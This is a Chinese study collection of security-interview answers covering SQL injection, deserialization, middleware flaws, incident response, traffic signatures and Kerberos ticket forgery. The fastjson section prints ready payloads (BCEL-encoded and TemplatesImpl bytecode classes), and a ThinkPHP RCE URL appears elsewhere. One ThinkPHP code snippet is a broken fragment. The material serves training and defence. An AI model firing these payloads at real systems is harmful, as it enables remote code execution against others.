网安面试题收集实录

网安面试宝典

是hvv面试宝典的一次更新，收录了本人面试过程中遇到的一些问题

sql注入原理、分类、绕过

原理：产生sql注入漏洞主要因为没有对接受到的参数进行过滤、验证和处理直接拼接到了sql语句中，然后直接执行该sql语句，这样就会导致恶意用户传入一些精心构造的sql代码，与后台sql语句拼接后形成完整的sql语句执行，达到攻击者的目的。

分类：我们可以把sql注入直接的分为字符型和数字型，主要特点就是在进行sql注入的时候是否需要闭合传参的单引号，不需要闭合说明是数值型，反之就是字符型；还可以将sql注入分为有回显的注入和无回显的注入，无回显的注入又别称为盲注，盲注有三大类，布尔盲注、时间盲注以及报错盲注；根据sql注入各自的特点可以分为联合注入、二次注入、宽字节注入、堆叠注入等，根据http报文中的不同位置可以有cookie注入、referer注入、x-forwarded-for注入等。

绕过：大小写绕过 、编码绕过、注释绕过、关键字/关键函数替换、参数污染、缓存区溢出、特殊符号

报错注入用到的函数、原理

函数：updatexml、floor、exp

原理：updatexml（）一共有三个参数，第一个是xml内容、第二个参数是update的位置XPATH路径、第三个参数是更新后的内容；这里报错的主要原理是利用第二个参数，当其校验输入的内容是否符合XPATH格式的时候，不符合就报错，我们将第二个参数替换为version（）或者database（）等等，因为不满足XPATH格式所以会输出错误，输出错误的时候将sql代码（verson()/database()等）执行了。

sqlmap用过的tamper

base64编码、url编码、双url编码、宽字节、使用/**/分割sql关键字、替换空格为xx

如何防御sql注入

如何防御sql注入漏洞
1、在代码层面使用过滤函数正则表达式等对传入的参数进行一个过滤、检测、处理，使得传入的恶意数据无法按照预想方式执行
2、预编译sql语句
3、使用waf，安全狗，阿里云盾、网神、AF等waf进行防护
4、经常进行基线检查、漏洞扫描等工作

sql写shell条件/sqlmap写shell

条件：
1、sql写shell可以用到两个函数outfile和dumpfile可用（select into outfile不可写入二进制可执行文件，select into dumpfile 可写入二进制可执行文件）
2、关闭安全模式（需要数据库允许导出文件也就是secure_file_priv参数配置为空或者是目录地址，设置为NULL的时3、候不允许导出文件）
4、需要足够的权限
5、需要知道网站的绝对路径
6、GPC关闭可使用单引号

sqlmap --os-shell:
对于mysql数据库来说，--os-shell的本质就是写入两个php文件，其中tmpugvzq.php可以让我们上传文件到网站下，让我们命令执行，并将输出的内容返回sqlmap端，另一个返回课以让我们执行系统命令的命令行；简单的说就是先传小马再传自己的大马。

文件上传漏洞防范措施

客户端校验文件名
服务端文件名校验
文件头校验
将上传的文件进行随机重新命名
将上传上来的文件和web服务器隔离，专门存放到一台文件服务器上，通过文件id来访问，如果非要将文件存放在web服务器上，可以存放文件的文件夹的可执行权限去掉

文件包含漏洞防范措施

严格判断包含中的参数是否外部可控，
路径限制，禁止目录跳转字符
包含文件验证，验证包含的文件是否是白名单
拒绝使用动态包含，可以需要包含的页面固定写好

xss漏洞防御

对输入进行检查
对输出进行编码
设置httponly

常用webshell免杀思路

自定义加密函数bypass
通过http获得关键参数
重写函数bypass

渗透思路

信息收集：
1、获取域名whois信息
2、服务器子域名、旁站、c段查询
3、服务器操作系统类型、版本、补丁状况、开放端口：22 ssh  80 web 445 3389.。。
4、web中间件类型、版本、网站目录结构、使用的waf等设备
5、数据库类型、版本
6、使用的第三方软件
漏洞扫描：
nessus，awvs ，appscan
漏洞验证：
是否存在漏洞，是否可以拿到webshell或者其他权限
权限提升:
windows内核溢出提权，数据库提权、组策略首选项提取、web中间件提权、dll劫持提权、第三方软件/服务提权
linux内核漏洞提权、劫持高权限程序提权、sudoer配置文件错误提权
漏洞利用：
报告输出
漏洞修复
渗透复测

中间件漏洞

iis：

远程代码执行
解析漏洞   目录以.asp结尾    xxx.asp;1.jpg

tomcat:

war包后门部署
远程代码执行

apache：

解析漏洞    1.php%0a换行解析   1.php.xxx 未知后缀解析
SSI远程命令执行
路径穿越

nginx：

解析漏洞    1.jpg/.php
目录穿越 （nginx配置别名的时候alias的时候，忘记加/  将造成目录穿越漏洞）
CRLF注入 (Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，造成CRLF注入漏洞)

jboss:

反序列化
war后门部署

weblogic：

反序列化
ssrf任意文件上传
文件读取

weblogic xml反序列化

原理：xml反序列化，这是wls security组件对外提供的webserver页面，通过xmlDecoder功能来解析用户的xml数据导致的任意字符串被当做代码去执行
特征：服务器开放7001端口  传递xml数到wls-wsat  数据包内容有bash或者dnslog字段。

weblogic攻击日志分析

反序列化：特征是xml格式的数据到wls，数据内容可能包含bash或者dnslog之类的 开放7001端口

弱⼝令利⽤上传war的特征：分析AdminServer.log⽇志查找deploy war字样

利⽤T3协议传输反序列化数据特征：AdminServer.log⽇志中，⼀般利⽤的cc链(commoncollections)，因此⽇志⽂件可能有InvokerTransformer、ChainedTransformer等

利⽤socket连接特征：base_domain.log或AdminServer.log⽇志中，会有socket字样

⽂件操作：base_domain.log中会有FileOutputStream字样

T3 cc链的利用，T3协议加上java反序列化，特adminserver.log中有invoketransformer和chainedtransformer字段，T3CC利用原理好像是weblogic调用rmi服务传递对象时对参数没过滤完全，而中间T3协议对传递的字符串只能增加黑名单

特征:数据内包含t3字段，类似：t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-lbreens:7001\n\

序列化反序列化及其流量特征

序列化：对象转换为字符串
反序列化：字符串转换为对象
流量特征：
shiro反序列化：查看cookie中rememberme字段，恶意命令要从这里传入。判断是否有漏洞，查看返回包set cookie：rememberme=deleteme，验证失败返回的标识符。
fastjson反序列化：请求报文中查找json格式的数据，重点看有无rmi或者出网的一些行为
st2-045：请求头中的Content-Type字段

应急响应流程及windows/linux用到的命令

应急响应流程：
1、收集信息：搜集客户信息和中毒信息，备份
2、判断类型：判断是否是安全事件、是何种安全事件（勒索病毒、挖矿、断网、ddos等）
3、深入分析：日志分析、进程分析、启动项分析、样本分析
4、清理处置：杀掉恶意进程、删除恶意文件、打补丁、修复文件
5、产出报告：整理并输出完整的安全事件报告

windows应急
一、查看系统账号安全
1、查看服务器是否有弱口令、可疑账号、隐藏账号、克隆账号、远程管理端口是否对公网开放
2、win+r（eventwmr.msc）查看系统日志，查看管理员登录时间、用户名是否存在异常
二、检查异常端口、进程
1、netstat -ano 检查端口连接情况，是否有远程连接、可疑连接
2、tasklist | findstr "PID"根据pid定位进程
3、使用功能查杀工具
三、启动项检查、计划任务、服务
1、检查服务器是否有异常的启动项，msconfig看一下启动项是否有可以的启动
2、检查计划任务，查看计划任务属性，可以发现木马文件的路径
3、见擦汗服务自启动，services.msc注意服务状态和启动类型，检查是否有异常服务
四、检查系统相关信息
1、查看系统版本以及补丁信息  systeminfo
2、查找可以目录及文件  是否有新建用户目录 分析最近打开分析可疑文件（%UserProfile%\Recent）  
五、自动化查杀
使用360 火绒剑 webshell后门可以使用d盾 河马等
六、日志分析
360星图日志分析工具  ELK分析平台

linux应急
1、检查用户及密码文件/etc/passwd、/etc/shadow 是否存在多余帐号，主要看一下帐号后面是否是 nologin,如果没有 nologin 就要注意；
2、通过 who 命令查看当前登录用户（tty 本地登陆 pts 远程登录）、w 命令查看系统信息，想知道某一时刻用户的行为、uptime查看登陆多久、多少用户，负载；
3、修改/etc/profile的文件，在尾部添加相应显示间、日期、ip、命令脚本代码，这样输入history命令就会详细显示攻击者 ip、时间历史命令等；
4、用 netstat -antlp|more命令分析可疑端口、IP、PID，查看下 pid 所对应的进程文件路径，运行ls -l /proc/$PID/exe 或 file /proc/$PID/exe（$PID 为对应的pid 号）；
5、使用ps命令，分析进程 ps aux | grep pid
6、使用 vi /etc/inittab 查看系统当前运行级别，通过运行级别找到/etc/rc.d/rc[0~6].d对应目录是否存在可疑文件；
7、看一下crontab定时任务是否存在可疑启用脚本；
8、使用chkconfig --list 查看是否存在可疑服务；
9、通过grep awk命令分析/var/log/secure安全日志里面是否存在攻击痕迹；
10、chkrootkit、rkhunter、Clamav 病毒后门查杀工具对 Linux 系统文件查杀；
11、如果有 Web 站点，可通过 D 盾、河马查杀工具进行查杀或者手工对代码按脚本木马关键字、关键涵数（evel、system、shell_exec、exec、passthru system、popen）进行查杀Webshell 后门。

应急响应命令

系统排查
lscpu        --查看cpu信息
uname -a     --查看os信息
lsmod        --查看模块信息
计划任务排查
crontab -l   --查看当前的任务计划
crontab -u root -l  --查看root用户的计划任务
进程排查
netstat -antlp | more 查看监听的任务
ls -alt /proc/PID   查看指定pid的可执行文件
lsof -p PID 查看进程打开的文件
ps -aux   检查进程
kill -9 PID    结束恶意进程
rm -rf filename  删除恶意文件
服务排查
chkconfig --list   查看系统中运行的服务

流量分析

拿到流量包后将其导入wireshark中，使用过滤规则对流量包进行分析，常用的过滤规则有：
http contains "关键字"
http.response.code == 200
http.request.method == POST
tcp.prot == 80
ip.addr == "10.1.1.1"
ip.src
ip.dst

Behinder流量特征

冰蝎是一款基于java开发的动态加密通信流量的新型webshell客户端，冰蝎的通信过程可以分为两个阶段：秘钥协商 加密传输

冰蝎2：ua头比较老，虽然内置了10余种，每次连接shell都会随机选择一个进行使用，由于比较老，容易被检测出来
content-length：16  #16是冰蝎2连接的特征

冰蝎3：冰蝎3取消了动态秘钥获取 accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱特征
ua头版本老：冰蝎3内置16个ua头都比较老，现实生活中使用较少。

哥斯拉流量特征

所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,
以上两个只能作为弱特征参考
同时在所有请求中Cookie中后面都存在；特征

fastjson反序列化

fastjson1.2.24反序列化漏洞原理
1、fastjson提供的反序列化功能允许用户传入json格式数据的时候通过@type的value值指定任意反序列化类名
2、fastjson的反序列化机制会将反序列的类进行实例化对象，并调用该对象的setter和部分getter方法
3、恶意用户可以构造payload是目标应用的代码执行流程进入这部分setter和getter方法，如果这些方法中存在Gadget，就会造成一些安全问题。
4、官方采取黑名单过滤的方法，对反序列化的类名进行校验，checkAutoType不断被绕过
fastjson利用流程：
使用@type的value字段执行反序列化的类，例如JdbcRowSetImpl这个类，接着将这个类中的成员变量datasourcename的value值设为rmi远程加载类，这样fastjson在将传入的类反序列化、实例对象后，会通过成员变量传入的value值，请求rmi服务器，最后rmi返回远程类，fastjson执行这个远程恶意类。导致rce漏洞。
fastjson反序列化的特征：
在请求包中查找json格式的字符串，重点在于rmi和一些出网操作

fastjson不出网利用

1、基于BasicDataSource类

org.apache.tomcat.dbcp.dbcp2.BasicDataSource
条件：BasicDataSource需要有dbcp或者tomcat-dbcp的依赖
利用过程：使用BasicDataSource链，构造恶意类后将其的字节码转化为BCEL格式，其中driverClassName和driverClassLoader都是可控的，由用户输入，指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader，设置ClassName为BCEL..这种格式，字啊newInstance方法执行后被实例化，第二个参数initial为true时，类加载后将会直接执行static{}块中的代码。

{
	"@type":"java.lang.Class",
	"val":"com.sun.org.apache.bcel.internal.util.ClassLoader"
	},
{
	"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
	"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},
	"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$91$cfN$C1$Q$c6$bf$c2$$$c5$ba$C$o$e2$3fD$b8$n$HI$bcJ$bc$YM$d0U$P$Q$8e$seidq$dd$dd$y$8b$f1$8d$3csQ$e3$c1$H$f0$a1$8c$b3$F5$5el$d2$99$ce7$9d_$a7$ed$c7$e7$db$3b$80C$d4$F$b2$d801$li$81Mlql$L$98$d8$e1$a8p$ec2d$da$ae$ef$c6$c7$M$e9$c6$7e$9f$c18$J$86$8a$no$bb$be$ba$9a$de$PT$d4$93$D$8f$94$a2$j8$d2$eb$cb$c8M$e2$85h$c4$pw$c2$c0$ed$89$a7Tx$c4$90m$3b$de$82$c7$u_$b3$c7$f2A$b6$3c$e9$df$b6$3a$7e$ac$a2h$g$c6jx$fa$e8$a80v$D$9f$wV$ba$b1t$ee$$e$a8$91$d4$j$83$e8$G$d3$c8Qgnr$84$d0$e8$83$84ca$J$82$a3j$a1$82$3d$86$ea$ffl$L5$I$GS$d73$U$7ew_$P$c6$ca$89$ffH$bdQ$a4$e4$90$$$d48O$5e$n$lF$ae$l$eb$cez$91t$U$ea$e0$f4$94$c9H$81$rm$90$5d$a6$a8E$9e$917$9b$_$603$9d$b6$c8f$b4H$97$pk$cd7$m$87$3c$f9$y$K$3f$c57$g$G$e4KH$bd$c2xB$f6$a2$f9$8c$ccL$8b$Z$3a$c5DZ$e3$caH$fe$d0$m$8dkU$d0$wG$a8o$bc$a0$dc$w$8a$U$ad$d1$e4Hu8J$G$r$d6uG$e5$_$H$X$vT$R$C$A$A"}

import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;

public class Test {
    public static void main(String[] args) throws Exception {
        JavaClass cls = Repository.lookupClass(Exp.class);
        String code = Utility.encode(cls.getBytes(), true);
        code = "$$BCEL$$" + code;
        new ClassLoader().loadClass(code).newInstance();
        System.out.println(code);
    }
}

2.基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类

条件：Feaure.SupportNonPublicField开启，默认是关闭状态

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}

shiro550反序列化

原理：
导致shiro反序列化的主要原因就是shiro提供的记住密码功能，当用户打开这个功能时会在请求阿包中生成一个cookie，cookie的value值是经过序列化->aes加密->base64加密后的字符串，关键在于aes加密的秘钥是默认的，如果没有修改这个秘钥，就会导致反序列化漏洞，攻击者可以构造恶意代码，将恶意代码序列化-aes加密-base64加密后传入cookie，这样就导致RCE漏洞。
特征：shiro是一个身份验证组件，一般用在登录模块，登录失败会有一个失败标识rememberme=deleteme，如果返回包中存在该字段则说明可能存在反序列化漏洞。

shiro攻击日志分析

看返回包中是否有rememberme=deleteme字段

st2攻击日志分析

特征是使用OGNL语法，payload中含有memberaccess字段，相关特征应该在catalina.out日志文件中有体现

php代码审计变量覆盖漏洞的审计思路；php反序列化的魔术方法知道哪些；

经常导致变量覆盖漏洞场景有：

$$，extract()函数，parse_str()函数，import_request_variables()使用不当，开启了全局变量注册等。
魔术方法：
 __construct()            //类的构造函数，创建对象时触发
 __destruct()             //类的析构函数，对象被销毁时触发
__call()                 //在对象上下文中调用不可访问的方法时触发
__callStatic()           //在静态上下文中调用不可访问的方法时触发
__get()                  //读取不可访问属性的值时，这里的不可访问包含私有属性或未定义
__set()                  //在给不可访问属性赋值时触发
__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发
__unset()                //在不可访问的属性上使用unset()时触发
__invoke()               //当尝试以调用函数的方式调用一个对象时触发
__sleep()                //执行serialize()时，先会调用这个方法
__wakeup()               //执行unserialize()时，先会调用这个方法
__toString()             //当反序列化后的对象被输出在模板中的时候（转换成字符串的时候）自动调用

xxe命令执行无回显你的思路

如果有外网权限去访问我在外网部署的服务，查看是否执行。如果无外网权限，执行文件写入，看是否可以生成新的文件

mysql udf提权的条件是什么

udf = 'user defined function'，即‘用户自定义函数’。是通过添加新函数，对MYSQL的功能进行扩充，性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中，存在于‘mysql/lib/plugin’目录下，文件后缀为‘.dll’，常用c语言编写。 

A.将udf文件放到指定位置（Mysql>5.1放在Mysql根目录的lib\plugin文件夹下）

B.从udf文件中引入自定义函数(user defined function) 3.执行自定义函数

sudo提权你有哪些思路

首先通过信息收集，查看是否存在sudo配置不当的可能。如果存在，寻找低权限sudo用户的密码，进而提权。

很多linux运维由于对sudo命令理解不深，只是单纯以为加入sudo组的用户可以赋予root权限，而没有对权限分配作细化分配，就如很多linux运维在chomod +x file时候直接给与chomd 777 file一样，过大了分配了权限，虽然能够达到其使用的功能，但实际给黑客提权留下了操作漏洞。因此，这个提权漏洞完全是因为linux运维的配置不当引起的。

通过日志，找到sudo的高级动作

在上传的木马使用蚁剑和冰蝎无法连接时，怎么getshell

上传小马，确认是否可以上传文件，在确保上传功能可以被利用的前提下，利用大马，菜刀等来完成getshell,反弹也可以实现，利用上传的文件进行下载或执行某些反弹命令

内存马

内存马简介

利用中间件的进程执行恶意代码
目标：访问任意url或者指定url，带上命令执行参数，即可让服务器返回命令执行结果
实现：以java为例，客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件，我们只要在这个请求的过程中做手脚，在内存中修改已有的组件或者动态注册一个新的组件，插入恶意的shellcode，就可以达到我们的目的。

种类和实现

servlet-api类：filter型、servlet型、listener型
spring类：interceptor型、controller型
Java Instrumentation类：agent型

如果是jsp注入，日志中排查可疑jsp的访问请求。

如果是代码执行漏洞，排查中间件的error.log，查看是否有可疑的报错，判断注入时间和方法

根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell，排查框架漏洞，反序列化漏洞。

如果是servlet或者spring的controller类型，根据上报的webshell的url查找日志（日志可能被关闭，不一定有），根据url最早访问时间确定被注入时间。

如果是filter或者listener类型，可能会有较多的404但是带有参数的请求，或者大量请求不同url但带有相同的参数，或者页面并不存在但返回200

检测与处置

新增的或修改的；
没有对应class文件的
xml配置中没注册的
冰蝎等常见工具使用的
filterchain中排第一的filter类

log4j漏洞

原理：log4j2框架下的lookup服务提供了{}字段解析功能，传进去的值会被直接解析，JNDI服务会请求远程服务来链接本地对象，这时候只用在{}里面调用JNDI服务即可反弹shell到指定服务器
特征：数据包里有{jndi:ladp//}字段

中挖矿病毒怎么解决

首先ps -aux查看进程分析
然后top 分析算力，挖矿用到的算力比较多，对流量进行过滤，含有矿池服务器的流量就是挖矿病毒
最后kill进程，rm掉程序
删不掉这么办
先下线，然后检查挖矿是否有在内网传播及时下线所有被传播的主机、上机排查攻击痕迹、一般可以从cpu占用情况，可以进程、开放端口、计划任务、服务项几个方面排查
将样本上传到在线分析平台，清除挖矿主程序主要就是双向封禁矿池地址、删除计划任务自启动、删服务，结束恶意进程、删病毒
删不掉：确认一下一下是因为程序在使用，还是权限不够，更具具体情况采取措施
直接降权，降权到没有执行权限
清理加固：以木马不在重启，不存在可疑外联，无法外联为准
1、双向封禁矿池地址（防止挖矿木马继续外连，以及挖矿木马进行内网传播）
2、删除计划任务以及自启动项（windows 的msconfig打开启动项  linux的 crontab -r 删除计划任务删除/etc/rc.local与/etc/rc[0到6].d文件中恶意启动项）
3、删除服务（windows使用 sc delete 服务名   linux  update-rc.d 服务名称 remove）
4、结束恶意进程
5、删除挖矿木马（rm -rf 木马绝对路径  无权删除时  lsattr 木马绝对路径 查看权限  chattr -i 木马绝对路径 解除文件锁定后删除）
6、病毒清除纲要

框架漏洞

stu2

stu2-045：
Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 类对上传数据进行解析.JakartaMultiPartRequest类在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常,对这个异常的处理会对错误信息进行OGNL表达式解析,从而造成了恶意代码执行（接受content-Type值的时候会使用OGNL表达式解析，造成远程代码执行漏洞）

stu-061
检测思路
在新版本的struts2中，已经不能通过参数构造来解析ognl表达式了，所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候，可以考虑直接爆破所有参数，然后判断页面中是否有预计的结果文本即可。
比如：
​ %{ ‘gcowsec-‘ + (2000 + 20).toString()}
预计会得到
​ gcowsec-2020
使用脚本判断结果中是否包含就可以了
此次漏洞只是S2-059修复的一个绕过，并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中，但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点，但是如果没有使用这个依赖包，也还是没办法进行利用。

stu-057
漏洞产生于网站配置XML时如果没有设置namespace的值，并且上层动作配置中并没有设置或使用通配符namespace时，可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值，并且上层动作并没有设置或使用通配符namespace，从而导致远程代码执行漏洞的发生
利用条件
alwaysSelectFullNamespace被设置为true，此时namespace的值是从URL中获取的。URL是可控的，所以namespace也是可控的。
action元素没有名称空间属性集，或者使用通配符。该名称空间将由用户从URL传递并解析为OGNL表达式，最终导致远程代码执行的脆弱性

thinkphp

RCE
ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

SQL注入
漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤，将数据拼接进 SQL 语句，导致 SQL注入漏洞 的产生。
index.php?ids[]=1&ids[]=2
get('username');
        $result = db('users')->where('username','exp',$username)->select();
        return 'select success';
    }
}

护网出现攻击行为怎么办

判断攻击是否是真实攻击ip
隔离主机
判断攻击类型
根据类型进行排查

0day防御

1、基于业务方面的0day防御
系统维护升级！！（24小时一般官方升级补丁或者0day防御手段出现）
2、基于技术方面0day防御
0day爆发前拿到poc，根据poc漏洞攻击规则，进行代码修补
虚拟补丁进行流量封堵
设：
流量规则 /index.php?cmd=whoami;
访问index.php页面的并且函数为cmd，存在whoami ，pwd等流量，直接拦截

溯源反制

溯源画像技术---ip注册信息，云服务器，vps，社工库，支付宝，src排行榜
溯源反制技术---直接反制攻击机，钓鱼邮件反制，蜜罐，工具反制（反制awvs，sqlmap，cs等）

蜜罐与反蜜罐

蜜罐：
利用jsonp漏洞跨域读取数据，使用js后台发送json数据包，使用恶意用户的浏览器请求各社交网站，如果该用户浏览器存储过一些网站cookie，都将被蜜罐捕获。
反蜜罐：
1、另起一个干净的虚拟机，没有登录过任何社交网站
2、打开无痕模式
3、切换浏览器，切换后的浏览器没有登录过任何社交网站
4、禁用jsonp（浏览器反蜜罐插件）

安全加固

Linux加固：

1. 修改ssh的配置文件，禁止root直接登录
2. 修改密码配置策略文件，确保密码的最小长度为8位
3. 确保错误登录3次，锁定此账户5分钟
4. 禁止su非法提权，只允许root和wheel组用户su到root
5. 不响应ICMP请求
6. 设置登录超时时间为10分钟
7. 结束非法登录用户

Windows加固：

1. 修改3389端口
2. 设置安全策略，不允许SAM账户的匿名枚举，不允许SAM账户和共享的匿名枚举。
3. 在组策略中设置：阻止访问注册表编辑工具
4. 开启审核对象访问，成功与失败；开启审核目录服务访问，成功与失败；开启审核系统事件，成功与失败
5. 禁止445端口漏洞
6. 设置屏幕保护在恢复时使用密码保护
7. 设置windows密码策略：使密码必须满足复杂性，设置密码长度最小值为8位，设置密码最长存留期为30天
8. 开启Windows防火墙，关闭ping服务，打开3389、80等服务
9. 关闭系统默认共享

安全设备

奇安信态势感知 – 天眼

sip:"10.1.1.1" AND dip:"10.1.1.2" AND status:(200) 
#10.1.1.1访问服务器10.1.1.2状态码为200的流量日志
dport:"443" OR dport:"8080
#访问端口是443或者8080的流量日志
dport:"80" NOT host:"www.example.com"
#访问端口为80，排除访问www.example.com域名的流量日志
dip:"10.1.1.2" AND client_os:"windows7"
#服务器ip为10.1.1.2,操作系统为windows7的流量日志
处置方案：
传感器上出现sql注入告警后
1、验证此条sql注入告警是否真的存在sql注入漏洞
2、通过请求数据包判断触发告警的行为是客户自身还是攻击行为
3、若为自身业务问题，则将漏洞点相关整合成报告反馈客户
4若为攻击者行为，需要进一步分析，查看分析平台攻击ip除了sql注入外是否有其他攻击行为，攻击的结果如何
5、将发现时间及攻击行为反馈给护网客户
传感器上出现RCE告警
1、验证此条警告师傅真的成功（若成功直接出报告）
2、若失败，判断攻击者是手工还是工具批量扫描行为
3、进入分析平台进一步分析，查看分析平台攻击ip除了rce是否有其他攻击行为，攻击结果如何
4、将发现时间及攻击行为反馈给护网

如何判断是否误报

安全设备查找源ip，看该ip是否有其他攻击行为
看请求包触发安全设备的敏感数据信息
看返回包状态码，200或者302去自己复现一下（复现前一定得到客户许可）
追踪日志行为，看回显数据

内网渗透

kerberos协议

1、客户机将明文密码进行NTLM哈希，然后和时间戳一起加密（使用krbtgt密码hash作为秘钥），发送给kdc（域控），kdc对用户进行检测，成功之后创建TGT
2、将TGT进行加密签名返回给客户机，只有域用户（krbtgt）才能读取kerberos中的TGT数据
3、客户机将TGT发送给域控制器KDC请求TGS（票证授权服务）票证，并且对TGT进行检测
4、检测成功后，将目标服务账户的NTLM以及TGT进行加密，将加密后的结果返回给客户机。

当Client想要访问Server的服务时，先要向AS发送能够证明自己身份的验证，验证通过后AS会给Client发送一个TGT，随后Client再向TGS去验证自己的身份通过后，TGS会给Client发送一个ST,最后是Client和Server做双向验证。三步判断，客户机请求认证服务器，客户机请求票据授权服务器，客户机和服务器双向验证

AS(Authentication Server)= 认证服务器
KDC(Key Distribution Center)= 密钥分发中心
TGT(Ticket Granting Ticket)=票据授权票据，票据的票据
TGS(Ticket Granting Server)=票据授权服务器
SS(Service Server)= 特定服务提供端
ST(session key Ticket)

黄金票据

恶意用户拿到KDC的krbtgt用户NTLM 哈希值，生成TGT，绕过对任意用户的账号策略，让用户成为任意组的成员。
会有日志记录，不够隐蔽，需要获取域控的权限，攻击上鸡肋，权限维持上突出

在 Windows 的 kerberos 认证过程中，Client 将自己的信息发送给 KDC，然后 KDC 使用 Krbtgt 用户的 NTLM 哈希作为密钥进行加密，生成 TGT。那么如果获取到了 Krbtgt 的 NTLM 哈希值，不就可以伪造任意的 TGT 了吗。因为 Krbtgt 只有域控制器上面才有，所以使用黄金凭据意味着你之前拿到过域控制器的权限，黄金凭据可以理解为一个后门。
利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT，能够绕过对任意用户的账号策略，让用户成为任意组的成员，可用于 Kerberos 认证的任何服务
满足的条件：
•需要伪造的域管理员用户名
•完整的域名
•域 SID
•krbtgt 的 NTLM 哈希值

白银票据

伪造TGS，使用已知授权服务密码hash伪造TGT
很少留下日志，隐蔽性好，主要用于权限维持

白银票据的利用过程是伪造 TGS，通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC，所以可以绕过域控制器，很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT，并且在生成伪造的 TGT 得20分钟内，TGS 不会对该 TGT 的真伪进行效验。
白银票据依赖于服务账号的密码散列值，这不同于黄金票据利用需要使用 krbtgt 账号的密码哈希值，因此更加隐蔽。
满足的条件：
•域名
•域 SID
•目标服务器的 FQDN
•可利用的服务
•服务账号的 NTLM 哈希值
•要伪造的用户名